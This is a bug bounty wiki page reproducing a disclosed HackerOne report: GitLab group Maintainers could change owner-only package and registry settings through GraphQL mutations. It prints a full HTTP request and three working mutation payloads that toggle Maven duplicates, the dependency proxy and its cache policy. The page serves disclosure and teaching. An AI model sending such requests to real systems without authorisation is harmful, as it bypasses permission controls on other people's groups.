Skip to content
Access control Disclosed report Beginner

Group Maintainers can toggle package and registries settings

Group Maintainers could change package and registries settings through GraphQL mutations even though the web UI restricted these settings to group owners. An attacker with the Maintainer role could toggle options such as Maven duplicate packages, the dependency proxy, and its cache policy.

GitLab

Originally disclosed on GitLab

  • Fixed in 3 months
  • Disclosed after 3 months

HackerOne report #1582356 by ashish_r_padelkar on 2022-05-26, assigned to GitLab Team:

Report | How To Reproduce

Report

Summary

Hello,

Group Maintainers are able to toggle the package and registries settings using this missing permission check.

Steps to reproduce
  1. Login as Group owner and go to https://gitlab.com/groups/<GroupName>/-/settings/packages_and_registries. You should be able to toggle all the settings from here.

  2. Now login as maintainer in a group and navigate to same url https://gitlab.com/groups/<GroupName>/-/settings/packages_and_registries but you wont be able to access it.

  3. Now run the below Graphql to toggle Settings for Maven packages duplicates.

POST /api/graphql HTTP/2  
Host: gitlab.com  
Cookie: 1  
Content-Length: 501  
X-Gitlab-Feature-Category: package_registry  
X-Csrf-Token: 1  
Sec-Ch-Ua-Mobile: ?0  
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.0.0 Safari/537.36  
Content-Type: application/json  
Accept: */*  
Sec-Ch-Ua-Platform: "macOS"  
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="101", "Google Chrome";v="101"  
Origin: https://gitlab.com  
Sec-Fetch-Site: same-origin  
Sec-Fetch-Mode: cors  
Sec-Fetch-Dest: empty  
Referer: https://gitlab.com/groups/qqqq6/-/settings/packages_and_registries  
Accept-Encoding: gzip, deflate  
Accept-Language: en-US,en;q=0.9

[{"operationName":"updateNamespacePackageSettings","variables":{"input":{"namespacePath":"qqqq6","mavenDuplicatesAllowed":true}},"query":"mutation updateNamespacePackageSettings($input: UpdateNamespacePackageSettingsInput!) {\n  updateNamespacePackageSettings(input: $input) {\n    packageSettings {\n      mavenDuplicatesAllowed\n      mavenDuplicateExceptionRegex\n      genericDuplicatesAllowed\n      genericDuplicateExceptionRegex\n      __typename\n    }\n    errors\n    __typename\n  }\n}\n"}]  

**Change namespacePath in above query

  1. Similarly below graphql will toggle Dependency Proxy
[{"operationName":"updateDependencyProxySettings","variables":{"input":{"groupPath":"qqqq6","enabled":true}},"query":"mutation updateDependencyProxySettings($input: UpdateDependencyProxySettingsInput!) {\n  updateDependencyProxySettings(input: $input) {\n    dependencyProxySetting {\n      enabled\n      __typename\n    }\n    errors\n    __typename\n  }\n}\n"}]

Change groupPath

  1. This will toggle Clear the Dependency Proxy cache automatically
[{"operationName":"updateDependencyProxyImageTtlGroupPolicy","variables":{"input":{"groupPath":"qqqq6","enabled":true,"ttl":90}},"query":"mutation updateDependencyProxyImageTtlGroupPolicy($input: UpdateDependencyProxyImageTtlGroupPolicyInput!) {\n  updateDependencyProxyImageTtlGroupPolicy(input: $input) {\n    dependencyProxyImageTtlPolicy {\n      enabled\n      ttl\n      __typename\n    }\n    errors\n    __typename\n  }\n}\n"}]  

Change groupPath

What is the current bug behavior?

Group Maintainers are able to toggle package and registries settings

What is the expected correct behavior?

Only group owners should be able to do so!

Output of checks

This bug happens on GitLab.com

Regards,
Ashish

Impact

Group Maintainers can toggle package and registries settings

:nerd: Proposed solution

Update the documentation to acknowledge the discrepancy See https://gitlab.com/gitlab-org/gitlab/-/issues/364441#note_1018411511

A follow-up issue to raise the permissions of the group-level APIs to owner https://gitlab.com/gitlab-org/gitlab/-/issues/370471

The original report as published on GitLab. Images and videos are our own copies; raw HTML is shown as text. View it on GitLab.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

What the attacker needed

A GitLab account; Maintainer role in a group

The fix

The permissions of the group-level APIs should be raised to owner, and the documentation should acknowledge the discrepancy.

How it was found

  1. Log in as a group owner and open the packages and registries settings page to confirm the toggles are available.
  2. Log in as a group maintainer and try to open the same settings page; access is denied.
  3. Send a GraphQL mutation to update namespace package settings, changing the namespace path to the target group.
  4. Send a GraphQL mutation to enable the dependency proxy for the group.
  5. Send a GraphQL mutation to enable the dependency proxy image TTL policy and set a TTL.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

In GitLab, a group has members with different roles, such as Owner or Maintainer. The web page for package settings was only shown to Owners, but the underlying GraphQL API did not check for that role. So a Maintainer could send a request directly to the API and change settings they were not supposed to control.

What is Access control?

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.

More from GitLab

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Broken access control

The lesson behind this report.

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.